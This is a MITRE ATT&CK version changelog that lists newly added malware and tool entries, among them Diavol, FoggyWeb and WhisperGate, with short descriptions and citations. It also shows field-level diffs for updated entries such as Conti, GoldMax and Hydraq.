[S0659] Diavol
Current version: 1.0
Description: [Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)
[S0695] Donut
Current version: 1.0
Description: [Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)
[S0679] Ferocious
Current version: 1.0
Description: [Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)
[S0696] Flagpro
Current version: 1.0
Description: [Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)
[S0661] FoggyWeb
Current version: 1.0
Description: [FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)
[S0666] Gelsemium
Current version: 1.0
Description: [Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of dropper (Gelsemine), loader (Gelsenicine), and main (Gelsevirine) plug ins that has been used by the [Gelsemium](https://attack.mitre.org/groups/G0141) group since at least 2014.(Citation: ESET Gelsemium June 2021)
[S0690] Green Lambert
Current version: 1.0
Description: [Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)
[S0697] HermeticWiper
Current version: 1.0
Description: [HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)
[S0698] HermeticWizard
Current version: 1.0
Description: [HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)
[S0669] KOCTOPUS
Current version: 1.0
Description: [KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)
[S0680] LitePower
Current version: 1.0
Description: [LitePower](https://attack.mitre.org/software/S0680) is a downloader and second stage malware that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)
[S0681] Lizar
Current version: 1.0
Description: [Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)
[S0688] Meteor
Current version: 1.0
Description: [Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)
[S0699] Mythic
Current version: 1.0
Description: [Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to "plug-n-play" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)
[S0691] Neoichor
Current version: 1.0
Description: [Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)
[S0664] Pandora
Current version: 1.0
Description: [Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
[S0683] Peirates
Current version: 1.0
Description: [Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)
[S0685] PowerPunch
Current version: 1.0
Description: [PowerPunch](https://attack.mitre.org/software/S0685) is a lightweight downloader that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)
[S0686] QuietSieve
Current version: 1.0
Description: [QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)
[S0662] RCSession
Current version: 1.0
Description: [RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)
[S0684] ROADTools
Current version: 1.0
Description: [ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)
[S0692] SILENTTRINITY
Current version: 1.0
Description: [SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)
[S0663] SysUpdate
Current version: 1.0
Description: [SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)
[S0665] ThreatNeedle
Current version: 1.0
Description: [ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)
[S0668] TinyTurla
Current version: 1.0
Description: [TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)
[S0671] Tomiris
Current version: 1.0
Description: [Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)
[S0678] Torisma
Current version: 1.0
Description: [Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)
[S0682] TrailBlazer
Current version: 1.0
Description: [TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)
[S0670] WarzoneRAT
Current version: 1.0
Description: [WarzoneRAT](https://attack.mitre.org/software/S0670) is a malware-as-a-service remote access tool (RAT) written in C++ that has been publicly available for purchase since at least late 2018.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)
[S0689] WhisperGate
Current version: 1.0
Description: [WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used in attacks against Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)
[S0672] Zox
Current version: 1.0
Description: [Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)
Major Version Changes
[S0093] Backdoor.Oldrea
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i | t | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i |
| s a backdoor used by [Dragonfly](https://attack.mitre.org/gr | | s a modular backdoor that used by [Dragonfly](https://attack |
| oups/G0035). It appears to be custom malware authored by the | | .mitre.org/groups/G0035) against energy companies since at l |
| group or specifically for it. (Citation: Symantec Dragonfly | | east 2013. [Backdoor.Oldrea](https://attack.mitre.org/softwa |
| ) | | re/S0093) was distributed via supply chain compromise, and i |
| | | ncluded specialized modules to enumerate and map ICS-specifi |
| | | c systems, processes, and protocols.(Citation: Symantec Drag |
| | | onfly)(Citation: Gigamon Berserk Bear October 2021)(Citation |
| | | : Symantec Dragonfly Sept 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 02:49:50.902000+00:00 | 2022-04-20 01:25:31.056000+00:00 |
| description | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly) | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017) |
| external_references[1]['source_name'] | Symantec Dragonfly | Gigamon Berserk Bear October 2021 |
| external_references[1]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021. |
| external_references[1]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://vblocalhost.com/uploads/VB2021-Slowik.pdf |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} |
| external_references | | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
[S0268] Bisonal
Current version: 2.0
Version changed from: 1.2 → 2.0
|
|
|---|
| t | [Bisonal](https://attack.mitre.org/software/S0268) is malwar | t | [Bisonal](https://attack.mitre.org/software/S0268) is a remo |
| e that has been used in attacks against targets in Russia, S | | te access tool (RAT) that has been used by [Tonto Team](http |
| outh Korea, and Japan. It has been observed in the wild sinc | | s://attack.mitre.org/groups/G0131) against public and privat |
| e 2014.(Citation: Unit 42 Bisonal July 2018) | | e sector organizations in Russia, South Korea, and Japan sin |
| | | ce at least December 2010.(Citation: Unit 42 Bisonal July 20 |
| | | 18)(Citation: Talos Bisonal Mar 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 16:05:26.618000+00:00 | 2022-04-18 17:18:36.512000+00:00 |
| description | [Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014.(Citation: Unit 42 Bisonal July 2018) | [Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) |
| external_references[1]['description'] | (Citation: Unit 42 Bisonal July 2018) | (Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) |
| x_mitre_version | 1.2 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Talos Bisonal Mar 2020', 'description': 'Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.', 'url': 'https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html'} |
[S0575] Conti
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Conti](https://attack.mitre.org/software/S0575) is a Ransom | t | [Conti](https://attack.mitre.org/software/S0575) is a Ransom |
| ware-as-a-Service that was first observed in December 2019, | | ware-as-a-Service (RaaS) that was first observed in December |
| and has being distributed via [TrickBot](https://attack.mitr | | 2019. [Conti](https://attack.mitre.org/software/S0575) has |
| e.org/software/S0266). It has been used against major corpor | | been deployed via [TrickBot](https://attack.mitre.org/softwa |
| ations and government agencies, particularly those in North | | re/S0266) and used against major corporations and government |
| America. As with other ransomware families, actors using [Co | | agencies, particularly those in North America. As with othe |
| nti](https://attack.mitre.org/software/S0575) steal sensitiv | | r ransomware families, actors using [Conti](https://attack.m |
| e files and information from compromised networks, and threa | | itre.org/software/S0575) steal sensitive files and informati |
| ten to publish this data unless the ransom is paid.(Citation | | on from compromised networks, and threaten to publish this d |
| : Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti Jul | | ata unless the ransom is paid.(Citation: Cybereason Conti Ja |
| y 2020)(Citation: Cybleinc Conti January 2020) | | n 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cyb |
| | | leinc Conti January 2020) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-06-21 21:05:27.228000+00:00 | 2022-04-16 21:43:53.793000+00:00 |
| description | [Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service that was first observed in December 2019, and has being distributed via [TrickBot](https://attack.mitre.org/software/S0266). It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020) | [Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020) |
| external_references[2]['source_name'] | Cybereason Conti Jan 2021 | CarbonBlack Conti July 2020 |
| external_references[2]['description'] | Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021. | Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021. |
| external_references[2]['url'] | https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware | https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ |
| external_references[3]['source_name'] | CarbonBlack Conti July 2020 | Cybleinc Conti January 2020 |
| external_references[3]['description'] | Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021. | Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021. |
| external_references[3]['url'] | https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/ | https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/ |
| external_references[4]['source_name'] | Cybleinc Conti January 2020 | Cybereason Conti Jan 2021 |
| external_references[4]['description'] | Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021. | Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021. |
| external_references[4]['url'] | https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/ | https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware |
| x_mitre_version | 1.1 | 2.0 |
[S0605] EKANS
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [EKANS](https://attack.mitre.org/software/S0605) is ransomwa | t | [EKANS](https://attack.mitre.org/software/S0605) is ransomwa |
| re variant that first appeared in mid-December 2019. [EKANS] | | re variant written in Golang that first appeared in mid-Dece |
| (https://attack.mitre.org/software/S0605) is distinct from o | | mber 2019 and has been used against multiple sectors, includ |
| ther ransomware as it was written in Golang and aims to stop | | ing energy, healthcare, and automotive manufacturing, which |
| services and processes related to Industrial Control System | | in some cases resulted in significant operational disruption |
| s.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS | | s. [EKANS](https://attack.mitre.org/software/S0605) has used |
| ) | | a hard-coded kill-list of processes, including some associa |
| | | ted with common ICS software platforms (e.g., GE Proficy, Ho |
| | | neywell HMIWeb, etc), similar to those defined in [MegaCorte |
| | | x](https://attack.mitre.org/software/S0576).(Citation: Drago |
| | | s EKANS)(Citation: Palo Alto Unit 42 EKANS) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-13 21:54:51.532000+00:00 | 2022-04-21 01:05:24.884000+00:00 |
| description | [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant that first appeared in mid-December 2019. [EKANS](https://attack.mitre.org/software/S0605) is distinct from other ransomware as it was written in Golang and aims to stop services and processes related to Industrial Control Systems.(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS) | [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS) |
| external_references[4]['description'] | Hinchliffe, A. Santos, D.. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021. | Hinchliffe, A. Santos, D. (2020, June 26). Threat Assessment: EKANS Ransomware. Retrieved February 9, 2021. |
| x_mitre_version | 1.0 | 2.0 |
[S0588] GoldMax
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | [GoldMax](https://attack.mitre.org/software/S0588) is a seco | t | [GoldMax](https://attack.mitre.org/software/S0588) is a seco |
| nd-stage C2 backdoor written in Go that was used by [APT29]( | | nd-stage C2 backdoor written in Go with Windows and Linux va |
| https://attack.mitre.org/groups/G0016) and discovered in ear | | riants that are nearly identical in functionality. [GoldMax] |
| ly 2021 during the investigation into breaches related to th | | (https://attack.mitre.org/software/S0588) was discovered in |
| e SolarWinds intrusion. [GoldMax](https://attack.mitre.org/s | | early 2021 during the investigation into the SolarWinds intr |
| oftware/S0588) uses multiple defense evasion techniques, inc | | usion, and has likely been used by [APT29](https://attack.mi |
| luding avoiding virtualization execution and masking malicio | | tre.org/groups/G0016) since at least mid-2019. [GoldMax](htt |
| us traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Fir | | ps://attack.mitre.org/software/S0588) uses multiple defense |
| eEye SUNSHUTTLE Mar 2021) | | evasion techniques, including avoiding virtualization execut |
| | | ion and masking malicious traffic.(Citation: MSTIC NOBELIUM |
| | | Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: C |
| | | rowdStrike StellarParticle January 2022) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-26 22:52:42.023000+00:00 | 2022-04-15 22:23:36.883000+00:00 |
| description | [GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021) | [GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022) |
| external_references[1]['source_name'] | GoldMax | SUNSHUTTLE |
| external_references[1]['description'] | (Citation: MSTIC NOBELIUM Mar 2021) | (Citation: FireEye SUNSHUTTLE Mar 2021) |
| external_references[2]['source_name'] | SUNSHUTTLE | GoldMax |
| external_references[2]['description'] | (Citation: FireEye SUNSHUTTLE Mar 2021) | (Citation: MSTIC NOBELIUM Mar 2021) |
| external_references[3]['source_name'] | MSTIC NOBELIUM Mar 2021 | CrowdStrike StellarParticle January 2022 |
| external_references[3]['description'] | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. | CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022. |
| external_references[3]['url'] | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ | https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ |
| external_references[4]['source_name'] | FireEye SUNSHUTTLE Mar 2021 | MSTIC NOBELIUM Mar 2021 |
| external_references[4]['description'] | Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021. | Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html | https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ |
| x_mitre_version | 1.0 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'FireEye SUNSHUTTLE Mar 2021', 'description': 'Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html'} |
| x_mitre_platforms | | Linux |
[S0203] Hydraq
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [Hydraq](https://attack.mitre.org/software/S0203) is a data- | t | [Hydraq](https://attack.mitre.org/software/S0203) is a data- |
| theft trojan first used by [Elderwood](https://attack.mitre. | | theft trojan first used by [Elderwood](https://attack.mitre. |
| org/groups/G0066) in the 2009 Google intrusion known as Oper | | org/groups/G0066) in the 2009 Google intrusion known as Oper |
| ation Aurora, though variations of this trojan have been use | | ation Aurora, though variations of this trojan have been use |
| d in more recent campaigns by other Chinese actors, possibly | | d in more recent campaigns by other Chinese actors, possibly |
| including [APT17](https://attack.mitre.org/groups/G0025). ( | | including [APT17](https://attack.mitre.org/groups/G0025).(C |
| Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elde | | itation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderw |
| rwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) | | ood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Ci |
| (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: | | tation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireE |
| FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint | | ye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 90 |
| GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2 | | 02 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Ci |
| 013) (Citation: PaloAlto 3102 Sept 2015) | | tation: PaloAlto 3102 Sept 2015) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ | |
| external_references | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | |
| external_references | https://www.symantec.com/connect/blogs/trojanhydraq-incident | |
| external_references | https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf | |
| external_references | https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html | |
